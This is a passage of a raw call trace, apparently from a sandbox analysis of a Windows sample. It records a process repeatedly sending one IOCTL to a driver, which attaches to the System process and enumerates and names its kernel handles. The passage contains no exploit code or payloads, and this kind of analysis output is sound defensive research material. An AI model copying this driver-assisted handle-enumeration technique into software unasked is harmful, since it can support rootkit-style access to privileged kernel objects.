(HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.135] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.135] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.135] PsAcquireProcessExitSynchronization () returned 0x0 [0130.135] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.135] ObReferenceObjectByHandle (in: Handle=0xffffffff800007e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80025be3b0, HandleInformation=0x0) returned 0x0 [0130.136] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.136] PsReleaseProcessExitSynchronization () returned 0x2 [0130.136] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.136] ObQueryNameString (in: Object=0xfffffa80025be3b0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.136] ObfDereferenceObject (Object=0xfffffa80025be3b0) returned 0x2 [0130.136] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.136] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.136] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.136] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.136] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.136] PsAcquireProcessExitSynchronization () returned 0x0 [0130.136] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.136] ObReferenceObjectByHandle (in: Handle=0xffffffff800007e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80019ee230, HandleInformation=0x0) returned 0x0 [0130.136] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.136] PsReleaseProcessExitSynchronization () returned 0x2 [0130.136] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.136] ObQueryNameString (in: Object=0xfffffa80019ee230, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.136] ObfDereferenceObject (Object=0xfffffa80019ee230) returned 0x2 [0130.136] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.136] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.136] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.136] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.136] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.136] PsAcquireProcessExitSynchronization () returned 0x0 [0130.136] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.136] ObReferenceObjectByHandle (in: Handle=0xffffffff800007ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80037b37c0, HandleInformation=0x0) returned 0x0 [0130.136] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.136] PsReleaseProcessExitSynchronization () returned 0x2 [0130.136] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.136] ObQueryNameString (in: Object=0xfffffa80037b37c0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.137] ObfDereferenceObject (Object=0xfffffa80037b37c0) returned 0x2 [0130.137] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.137] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.137] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.137] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.137] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.137] PsAcquireProcessExitSynchronization () returned 0x0 [0130.137] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.137] ObReferenceObjectByHandle (in: Handle=0xffffffff800007f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002112890, HandleInformation=0x0) returned 0x0 [0130.137] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.137] PsReleaseProcessExitSynchronization () returned 0x2 [0130.137] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.137] ObQueryNameString (in: Object=0xfffffa8002112890, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.137] ObfDereferenceObject (Object=0xfffffa8002112890) returned 0x2 [0130.137] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.137] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.137] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.137] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.137] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.137] PsAcquireProcessExitSynchronization () returned 0x0 [0130.137] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.137] ObReferenceObjectByHandle (in: Handle=0xffffffff800007f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003b13260, HandleInformation=0x0) returned 0x0 [0130.138] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.138] PsReleaseProcessExitSynchronization () returned 0x2 [0130.138] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.138] ObQueryNameString (in: Object=0xfffffa8003b13260, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.138] ObfDereferenceObject (Object=0xfffffa8003b13260) returned 0x2 [0130.138] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.138] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.138] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.138] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.138] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.138] PsAcquireProcessExitSynchronization () returned 0x0 [0130.138] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.138] ObReferenceObjectByHandle (in: Handle=0xffffffff800007fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800193d050, HandleInformation=0x0) returned 0x0 [0130.138] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.138] PsReleaseProcessExitSynchronization () returned 0x2 [0130.138] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.138] ObQueryNameString (in: Object=0xfffffa800193d050, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.138] ObfDereferenceObject (Object=0xfffffa800193d050) returned 0x2 [0130.138] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.138] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.138] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.138] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.138] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.138] PsAcquireProcessExitSynchronization () returned 0x0 [0130.138] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.138] ObReferenceObjectByHandle (in: Handle=0xffffffff80000808, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002849960, HandleInformation=0x0) returned 0x0 [0130.138] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.138] PsReleaseProcessExitSynchronization () returned 0x2 [0130.138] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.138] ObQueryNameString (in: Object=0xfffffa8002849960, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.138] ObfDereferenceObject (Object=0xfffffa8002849960) returned 0x2 [0130.138] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.138] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.138] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.139] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.139] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.139] PsAcquireProcessExitSynchronization () returned 0x0 [0130.139] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.139] ObReferenceObjectByHandle (in: Handle=0xffffffff8000080c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002112310, HandleInformation=0x0) returned 0x0 [0130.139] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.139] PsReleaseProcessExitSynchronization () returned 0x2 [0130.139] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.139] ObQueryNameString (in: Object=0xfffffa8002112310, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.139] ObfDereferenceObject (Object=0xfffffa8002112310) returned 0x2 [0130.139] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.139] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.139] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.139] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.139] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.139] PsAcquireProcessExitSynchronization () returned 0x0 [0130.139] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.139] ObReferenceObjectByHandle (in: Handle=0xffffffff80000814, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002088810, HandleInformation=0x0) returned 0x0 [0130.139] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.139] PsReleaseProcessExitSynchronization () returned 0x2 [0130.139] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.139] ObQueryNameString (in: Object=0xfffffa8002088810, ObjectNameInfo=0xfffffa8003989044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003989044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.139] ObfDereferenceObject (Object=0xfffffa8002088810) returned 0x2 [0130.139] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.139] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.139] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.139] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.139] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.139] PsAcquireProcessExitSynchronization () returned 0x0 [0130.139] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.139] ObReferenceObjectByHandle (in: Handle=0xffffffff8000081c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002119050, HandleInformation=0x0) returned 0x0 [0130.139] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.139] PsReleaseProcessExitSynchronization () returned 0x2 [0130.139] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.139] ObQueryNameString (in: Object=0xfffffa8002119050, ObjectNameInfo=0xfffffa8003950044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003950044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.140] ObfDereferenceObject (Object=0xfffffa8002119050) returned 0x2 [0130.140] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.140] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.140] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.140] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.140] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.140] PsAcquireProcessExitSynchronization () returned 0x0 [0130.140] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.140] ObReferenceObjectByHandle (in: Handle=0xffffffff80000824, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003966f20, HandleInformation=0x0) returned 0x0 [0130.140] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.140] PsReleaseProcessExitSynchronization () returned 0x2 [0130.140] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.140] ObQueryNameString (in: Object=0xfffffa8003966f20, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.140] ObfDereferenceObject (Object=0xfffffa8003966f20) returned 0x2 [0130.140] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.140] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.140] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.140] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.140] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.140] PsAcquireProcessExitSynchronization () returned 0x0 [0130.140] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.140] ObReferenceObjectByHandle (in: Handle=0xffffffff80000834, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001edcdf0, HandleInformation=0x0) returned 0x0 [0130.140] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.140] PsReleaseProcessExitSynchronization () returned 0x2 [0130.140] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.140] ObQueryNameString (in: Object=0xfffffa8001edcdf0, ObjectNameInfo=0xfffffa80039c77c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80039c77c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.140] ObfDereferenceObject (Object=0xfffffa8001edcdf0) returned 0x2 [0130.140] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.140] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.140] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.140] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.140] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.140] PsAcquireProcessExitSynchronization () returned 0x0 [0130.140] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.140] ObReferenceObjectByHandle (in: Handle=0xffffffff80000838, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003421a20, HandleInformation=0x0) returned 0x0 [0130.141] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.141] PsReleaseProcessExitSynchronization () returned 0x2 [0130.141] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.141] ObQueryNameString (in: Object=0xfffffa8003421a20, ObjectNameInfo=0xfffffa80024497c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80024497c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.141] ObfDereferenceObject (Object=0xfffffa8003421a20) returned 0x2 [0130.141] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.141] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.141] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.141] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.141] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.141] PsAcquireProcessExitSynchronization () returned 0x0 [0130.141] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.141] ObReferenceObjectByHandle (in: Handle=0xffffffff8000083c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800cabb050, HandleInformation=0x0) returned 0x0 [0130.141] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.141] PsReleaseProcessExitSynchronization () returned 0x2 [0130.141] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.141] ObQueryNameString (in: Object=0xfffffa800cabb050, ObjectNameInfo=0xfffffa800245d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800245d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.141] ObfDereferenceObject (Object=0xfffffa800cabb050) returned 0x2 [0130.141] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.141] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.141] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.141] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.141] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.141] PsAcquireProcessExitSynchronization () returned 0x0 [0130.141] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.141] ObReferenceObjectByHandle (in: Handle=0xffffffff80000840, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002157050, HandleInformation=0x0) returned 0x0 [0130.141] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.141] PsReleaseProcessExitSynchronization () returned 0x2 [0130.141] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.141] ObQueryNameString (in: Object=0xfffffa8002157050, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0130.141] ObfDereferenceObject (Object=0xfffffa8002157050) returned 0x2 [0130.141] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.141] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.142] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.142] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.142] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.142] PsAcquireProcessExitSynchronization () returned 0x0 [0130.142] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.142] ObReferenceObjectByHandle (in: 